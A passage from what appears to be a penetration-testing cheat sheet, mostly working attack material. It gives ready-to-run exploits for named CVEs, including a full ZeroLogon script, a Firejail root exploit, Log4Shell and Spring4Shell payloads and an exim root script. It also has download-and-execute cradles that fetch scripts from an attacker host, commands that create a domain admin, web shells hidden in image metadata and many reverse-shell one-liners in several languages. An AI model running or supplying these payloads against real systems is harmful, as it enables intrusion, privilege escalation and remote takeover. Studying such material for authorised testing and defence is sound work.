$ export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; donepowercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p <LPORT> -e cmd"Powermad
Import-Module ./Powermad.ps1
$secureString = convertto-securestring "<PASSWORD>" -asplaintext -force
New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -DomainController <DOMAIN> -Password $secureStringPowerShell
Common Commands
whoami /all
getuserid
systeminfo
Get-Process
net users
net users <USERNAME>
Get-ADUser -Filter * -SearchBase "DC=<DOMAIN>,DC=LOCAL"
Get-Content <FILE>
Get-ChildItem . -Force
GCI -hidden
type <FILE> | findstr /l <STRING>
[convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))Allow Script Execution
Set-ExecutionPolicy remotesigned
Set-ExecutionPolicy unrestrictedScript Execution Bypass
powershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1Import Module to PowerShell cmdlet
Import-Module .\<FILE>Check PowerShell Versions
Set-ExecutionPolicy Unrestricted
powershell -Command "$PSVersionTable.PSVersion"
powershell -c "[Environment]::Is64BitProcess"Read PowerShell History
type C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtCreate a .zip File
Compress-Archive -LiteralPath C:\PATH\TO\FOLDER\<FOLDER> -DestinationPath C:\PATH\TO\FILE<FILE>.zipUnzip a File
Expand-Archive -Force <FILE>.zipStart a new Process
Start-Process -FilePath "C:\nc64.exe" -ArgumentList "<LHOST> <LPORT> -e powershell"Invoke-Expression / Invoke-WebRequest
IEX(IWR http://<LHOST>/<FILE>.ps1)
Invoke-Expression (Invoke-WebRequest http://<LHOST/<FILE>.ps1).NET Reflection
$bytes = (Invoke-WebRequest "http://<LHOST>/<FILE>.exe" -UseBasicParsing ).Content
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entryPointMethod.Invoke($null, (, [string[]] ('find', '/<COMMAND>')))Start offsec Session
$offsec_session = New-PSSession -ComputerName <RHOST> -Authentication Negotiate -Credential <USERNAME>
Enter-PSSession $offsec_sessionExecute Command as another User
PS C:\> $SecurePassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $SecurePassword)
PS C:\> $Session = New-PSSession -Credential $Cred
PS C:\> Invoke-Command -Session $session -scriptblock { whoami }or
$username = '<USERNAME>'
$password = '<PASSWORD>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process powershell.exe -Credential $credentialpowershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"Add new Domain Administrator
$PASSWORD= ConvertTo-SecureString –AsPlainText -Force -String <PASSWORD>
New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD
Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME>Execute Commands in User Context
$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred -command {whoami}Execute Scripts with Credentials (Reverse Shell)
$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<LHOST>/<FILE>.ps1') } -Credential $credpwncat
(local) pwncat$ back // get back to shell
Ctrl+d // get back to pwncat shellpwncat-cs -lp <LPORT>
(local) pwncat$ download /PATH/TO/FILE/<FILE> .
(local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE>rpcclient
$ rpcclient -U "" <RHOST>srvinfo
netshareenum
netshareenumall
netsharegetinfo
netfileenum
netsessenum
netdiskenum
netconnenum
getanydcname
getdcname
dsr_getdcname
dsr_getdcnameex
dsr_getdcnameex2
dsr_getsitename
enumdomusers
enumdata
enumjobs
enumports
enumprivs
queryuser <USERNAME>Rubeus
Overpass the Hash
Rubeus.exe kerberoast /user:<USERNAME>Pass the Hash
.\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A0ED73ADA2E /getcredentialsRunasCs
./RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downloads\<FILE>.exe'
./RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT>winexe
winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exeCVE
CVE-2014-6271: Shellshock RCE PoC
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<RHOST>/cgi-bin/user.shshellshock='() { :;}; echo exploit' bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
<environment_variable>='() { :;}; echo exploit' bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
<environment_variable>='() { :;}; echo exploit' sudo /root/<binary>CVE-2016-1531: exim LPE
- exim version <= 4.84-3
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps.
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
#
# -- Hacker Fantastic
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -psCVE-2019-14287: Sudo Bypass
Prerequisites
- Sudo version < 1.8.28
Exploitation
!root:
$ sudo -u#-1 /bin/bashCVE-2020-1472: ZeroLogon PE
https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py
Prerequisites
python3 -m pip install virtualenv
python3 -m virtualenv venv
source venv/bin/activate
pip install git+https://github.com/SecureAuthCorp/impacketPoC Modification
newPassRequest = nrpc.NetrServerPasswordSet2()
newPassRequest['PrimaryName'] = dc_handle + '\x00'
newPassRequest['AccountName'] = target_computer + '$\x00'
newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
auth = nrpc.NETLOGON_AUTHENTICATOR()
auth['Credential'] = b'\x00' * 8
auth['Timestamp'] = 0
newPassRequest['Authenticator'] = auth
newPassRequest['ComputerName'] = target_computer + '\x00'
newPassRequest['ClearNewPassword'] = b'\x00' * 516
rpc_con.request(newPassRequest)Weaponized PoC
#!/usr/bin/env python3
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
def fail(msg):
print(msg, file=sys.stderr)
print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
newPassRequest = nrpc.NetrServerPasswordSet2()
newPassRequest['PrimaryName'] = dc_handle + '\x00'
newPassRequest['AccountName'] = target_computer + '$\x00'
newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
auth = nrpc.NETLOGON_AUTHENTICATOR()
auth['Credential'] = b'\x00' * 8
auth['Timestamp'] = 0
newPassRequest['Authenticator'] = auth
newPassRequest['ComputerName'] = target_computer + '\x00'
newPassRequest['ClearNewPassword'] = b'\x00' * 516
rpc_con.request(newPassRequest)
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')
def perform_attack(dc_handle, dc_ip, target_computer):
# Keep authenticating until succesfull. Expected average number of attempts needed: 256.
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if not rpc_con:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)
if __name__ == '__main__':
if not (3 <= len(sys.argv) <= 4):
print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip] = sys.argv
dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name)Execution
python3 zerologon_tester.py <HANDLE> <RHOST>
secretsdump.py -just-dc -no-pass <HANDLE>\$@<RHOST>CVE-2021-3156: Sudo / sudoedit LPE
Pre-requisistes
- Ubuntu 20.04 (Sudo 1.8.31)
- Debian 10 (Sudo 1.8.27)
- Fedora 33 (Sudo 1.9.2)
- All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1
Vulnerability Test
$ sudoedit -s /The machine is vulnerable if one of the following message is shown.
sudoedit: /: not a regular file
segfaultNot vulnerable if the error message starts with usage:.
CVE-2021-44228: Log4Shell RCE (0-day)
cat targets.txt | while read host do; do curl -sk --insecure --path-as-is "$host/?test=${jndi:[ldap://TOKEN.canarytokens.com/a](ldap://TOKEN.canarytokens.com/a)}" -H "X-Api-Version: ${jndi:[ldap://TOKEN.canarytokens.com/a](ldap://TOKEN.canarytokens.com/a)}" -H "User-Agent: ${jndi:[ldap://TOKEN.canarytokens.com/a](ldap://TOKEN.canarytokens.com/a)}";donePreparation
File: jdk-8u181-linux-x64.tar.gz
Creating Library Folder
sudo mkdir /usr/lib/jvm
cd /usr/lib/jvm
sudo tar xzvf /usr/lib/jvm/jdk-8u181-linux-x64.tar.gz
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javawsVerify Version
java -versionGet Exploit Framework
git clone https://github.com/mbechler/marshalsec
cd /opt/08_exploitation_tools/marshalsec/
sudo apt-get install maven
mvn clean package -DskipTestsExploit.java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash <LHOST> <LPORT>");
} catch (Exception e) {
e.printStackTrace();
}
}
}Compiling Exploit.java
javac Exploit.java -source 8 -target 8Start Pyhton3 HTTP Server
python3 -m http.server 80Starting the malicious LDAP Server
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<LHOST>:80/#Exploit"Start local netcat listener
nc -lnvp 9001Execute the Payload
curl 'http://<RHOST>:8983/solr/admin/cores?foo=$\{jndi:ldap://<LHOST>:1389/Exploit\}'CVE-2022-0847: Dirty Pipe LPE
gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd 1 ootz:
su rootzCVE-2022-22963: Spring4Shell RCE (0-day)
$ curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl <LHOST>/<FILE>.sh -o /dev/shm/<FILE>")' --data-raw 'data' -v$ curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/<FILE>")' --data-raw 'data' -vCVE-2022-30190: MS-MSDT Follina RCE
python3 follina.py -p 80 -c 'powershell.exe Invoke-WebRequest http://<LHOST>:8000/nc64.exe -OutFile C:\\Windows\\Tasks\\nc64.exe; C:\\Windows\\Tasks\\nc64.exe -e cmd.exe <LHOST> <LPORT>'python3 -m http.server 8000nc -lnvp <LPORT>swaks --to <EMAIL> --from <EMAIL> --server <RHOST> --body "http://<LHOST>/"CVE-2022-31214: Firejail LPE
#!/usr/bin/python3
# Author: Matthias Gerstner <matthias.gerstner () suse com>
#
# Proof of concept local root exploit for a vulnerability in Firejail 0.9.68
# in joining Firejail instances.
#
# Prerequisites:
# - the firejail setuid-root binary needs to be installed and accessible to the
# invoking user
#
# Exploit: The exploit tricks the Firejail setuid-root program to join a fake
# Firejail instance. By using tmpfs mounts and symlinks in the unprivileged
# user namespace of the fake Firejail instance the result will be a shell that
# lives in an attacker controller mount namespace while the user namespace is
# still the initial user namespace and the nonewprivs setting is unset,
# allowing to escalate privileges via su or sudo.
import os
import shutil
import stat
import subprocess
import sys
import tempfile
import time
from pathlib import Path
# Print error message and exit with status 1
def printe(*args, **kwargs):
kwargs['file'] = sys.stderr
print(*args, **kwargs)
sys.exit(1)
# Return a boolean whether the given file path fulfils the requirements for the
# exploit to succeed:
# - owned by uid 0
# - size of 1 byte
# - the content is a single '1' ASCII character
def checkFile(f):
s = os.stat(f)
if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):
return False
with open(f) as fd:
ch = fd.read(2)
if len(ch) != 1 or ch != "1":
return False
return True
def mountTmpFS(loc):
subprocess.check_call("mount -t tmpfs none".split() + [loc])
def bindMount(src, dst):
subprocess.check_call("mount --bind".split() + [src, dst])
def checkSelfExecutable():
s = os.stat(__file__)
if (s.st_mode & stat.S_IXUSR) == 0:
printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.")
# This creates a "helper" sandbox that serves the purpose of making available
# a proper "join" file for symlinking to as part of the exploit later on.
#
# Returns a tuple of (proc, join_file), where proc is the running subprocess
# (it needs to continue running until the exploit happened) and join_file is
# the path to the join file to use for the exploit.
def createHelperSandbox():
# just run a long sleep command in an unsecured sandbox
proc = subprocess.Popen(
"firejail --noprofile -- sleep 10d".split(),
stderr=subprocess.PIPE)
# read out the child PID from the stderr output of firejail
while True:
line = proc.stderr.readline()
if not line:
raise Exception("helper sandbox creation failed")
# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output
line = line.decode('utf8').strip().lower()
if line.find("child pid") == -1:
continue
child_pid = line.split()[-1]
try:
child_pid = int(child_pid)
break
except Exception:
raise Exception("failed to determine child pid from helper sandbox")
# We need to find the child process of the child PID, this is the
# actual sleep process that has an accessible root filesystem in /proc
children = f"/proc/{child_pid}/task/{child_pid}/children"
# If we are too quick then the child does not exist yet, so sleep a bit
for _ in range(10):
with open(children) as cfd:
line = cfd.read().strip()
kids = line.split()
if not kids:
time.sleep(0.5)
continue
elif len(kids) != 1:
raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")
try:
sleep_pid = int(kids[0])
break
except Exception:
raise Exception("failed to determine sleep child PID from helper sandbox")
else:
raise Exception(f"sleep child process did not come into existence in {children}")
join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"
if not os.path.exists(join_file):
raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")
return proc, join_file
# Re-executes the current script with unshared user and mount namespaces
def reexecUnshared(join_file):
if not checkFile(join_file):
printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")
os.environ["FIREJOIN_JOINFILE"] = join_file
os.environ["FIREJOIN_UNSHARED"] = "1"
unshare = shutil.which("unshare")
if not unshare:
printe("could not find 'unshare' program")
cmdline = "unshare -U -r -m".split()
cmdline += [__file__]
# Re-execute this script with unshared user and mount namespaces
subprocess.call(cmdline)
if "FIREJOIN_UNSHARED" not in os.environ:
# First stage of execution, we first need to fork off a helper sandbox and
# an exploit environment
checkSelfExecutable()
helper_proc, join_file = createHelperSandbox()
reexecUnshared(join_file)
helper_proc.kill()
helper_proc.wait()
sys.exit(0)
else:
# We are in the sandbox environment, the suitable join file has been
# forwarded from the first stage via the environment
join_file = os.environ["FIREJOIN_JOINFILE"]
# We will make /proc/1/ns/user point to this via a symlink
time_ns_src = "/proc/self/ns/time"
# Make the firejail state directory writeable, we need to place a symlink to
# the fake join state file there
mountTmpFS("/run/firejail")
# Mount a tmpfs over the proc state directory of the init process, to place a
# symlink to a fake "user" ns there that firejail thinks it is joining
try:
mountTmpFS("/proc/1")
except subprocess.CalledProcessError:
# This is a special case for Fedora Linux where SELinux rules prevent us
# from mounting a tmpfs over proc directories.
# We can still circumvent this by mounting a tmpfs over all of /proc, but
# we need to bind-mount a copy of our own time namespace first that we can
# symlink to.
with open("/tmp/time", 'w') as _:
pass
time_ns_src = "/tmp/time"
bindMount("/proc/self/ns/time", time_ns_src)
mountTmpFS("/proc")
FJ_MNT_ROOT = Path("/run/firejail/mnt")
# Create necessary intermediate directories
os.makedirs(FJ_MNT_ROOT)
os.makedirs("/proc/1/ns")
# Firejail expects to find the umask for the "container" here, else it fails
with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:
umask_fd.write("022")
# Create the symlink to the join file to pass Firejail's sanity check
os.symlink(join_file, FJ_MNT_ROOT / "join")
# Since we cannot join our own user namespace again fake a user namespace that
# is actually a symlink to our own time namespace. This works since Firejail
# calls setns() without the nstype parameter.
os.symlink(time_ns_src, "/proc/1/ns/user")
# The process joining our fake sandbox will still have normal user privileges,
# but it will be a member of the mount namespace under the control of *this*
# script while *still* being a member of the initial user namespace.
# 'no_new_privs' won't be set since Firejail takes over the settings of the
# target process.
#
# This means we can invoke setuid-root binaries as usual but they will operate
# in a mount namespace under our control. To exploit this we need to adjust
# file system content in a way that a setuid-root binary grants us full
# root privileges. 'su' and 'sudo' are the most typical candidates for it.
#
# The tools are hardened a bit these days and reject certain files if not owned
# by root e.g. /etc/sudoers. There are various directions that could be taken,
# this one works pretty well though: Simply replacing the PAM configuration
# with one that will always grant access.
with tempfile.NamedTemporaryFile('w') as tf:
tf.write("auth sufficient pam_permit.so\n")
tf.write("account sufficient pam_unix.so\n")
tf.write("session sufficient pam_unix.so\n")
# Be agnostic about the PAM config file location in /etc or /usr/etc
for pamd in ("/etc/pam.d", "/usr/etc/pam.d"):
if not os.path.isdir(pamd):
continue
for service in ("su", "sudo"):
service = Path(pamd) / service
if not service.exists():
continue
# Bind mount over new "helpful" PAM config over the original
bindMount(tf.name, service)
print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")
while True:
line = sys.stdin.readline()
if not line:
breakFirst Terminal
$ ./firejoin_py.bin
You can now run 'firejail --join=193982' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.Second Terminal
$ firejail --join=193982
$ suCVE-2023-21746: Windows NTLM EoP LocalPotato LPE
https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc
Modify the following file and build the solution.
StorSvc\RpcClient\RpcClient\storsvc_c.c#if defined(_M_AMD64)
//#define WIN10
//#define WIN11
#define WIN2019
//#define WIN2022Modify the following file and build the solution.
StorSvc\SprintCSP\SprintCSP\main.cvoid DoStuff() {
// Replace all this code by your payload
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add",
NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return;
}First get the paths from the environment, then use LocalPotato to place the malicious DLL.
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path
LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dllAt least trigger StorSvc via RpcClient.exe.
.\RpcClient.exeCVE-2023-22809: Sudo Bypass
https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466
Prerequisites
- Sudo version needs to be ≥ 1.8 and < 1.9.12p2.
- Limited Sudo access to at least one file on the system that requires root access.
Example
test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motdExploitation
EDITOR="vi -- /etc/passwd" sudoedit /etc/motdsudoedit /etc/motdCVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation)
PS C:\> Import-Module .\CVE-2023-23397.ps1
PS C:\> Send-CalendarNTLMLeak -recipient "<EMAIL>" -remotefilepath "\\<LHOST>\<FILE>.wav" -meetingsubject "<SUBJECT>" -meetingbody "<TEXT>"CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day)
- Linux ubuntu2204 5.19.0-46-generic
$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'Juicy Potato LPE
msfvenom and Metasploit Execution
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00\x0a" -a x86 --platform windows -f exe -o exploit.exemsf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
msf6 exploit(multi/handler) > set LPORT <LHOST>
msf6 exploit(multi/handler) > run.\exploit.exe[*] Sending stage (175174 bytes) to <RHOST>
[*] Meterpreter session 1 opened (<LHOST>:<LPORT> -> <RHOST>:51990) at 2021-01-31 12:36:26 +0100MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE
$ gcc -g -c raptor_udf2.c -fPIC
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc$ mysql -u root> use mysql;
> create table foo(line blob);
> insert into foo values(load_file('/PATH/TO/SHARED_OBJECT/raptor_udf2.so'));
> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
> create function do_system returns integer soname 'raptor_udf2.so';
> select do_system('chmod +s /bin/bash');SharpEfsPotato LPE
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"Shocker Container Escape
https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.c
Modifying Exploit
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");Compiling
gcc shocker.c -o shocker
cc -Wall -std=c99 -O2 shocker.c -staticPayloads
Donut
donut -a 2 -f 1 -o donutpayload.bin shellcode.exeExiftool
PHP into JPG Injection
exiftool -Comment='<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"); ?>' shell.jpg
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' <FILE>.jpeg
exiftool "-comment<=back.php" back.png
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <FILE>.pngGhostScript
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/flag.txt) currentdevice putdevicepropsnishang
cd path/to/nishang/Shells/
cp Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp.ps1
tail -3 Invoke-PowerShellTcp.ps1
}
Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>
powershell "IEX(New-Object Net.Webclient).downloadString('http://<LHOST>:<LPORT>/Invoke-PowerShellTcp.ps1')"Reverse Shells
Bash Reverse Shell
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64curl Reverse Shell
curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'Groovy (Jenkins) Reverse Shell
String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();JAVA Reverse Shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();shell.jar
package <NAME>;
import org.bukkit.plugin.java.JavaPlugin;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
public class Main extends JavaPlugin {
@Override
public void onDisable() {
super.onDisable();
}
@Override
public void onEnable() {
final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
try {
Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW);
} catch (IOException e) {
e.printStackTrace();
}
super.onEnable();
}
}Lua Reverse Shell
http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")--Markdown Reverse Shell
--';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'--mkfifo Reverse Shell
mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shellNetcat Reverse Shell
nc -e /bin/sh <LHOST> <LPORT>Perl Reverse Shell
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHP Reverse Shell
php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'PowerShell Reverse Shell
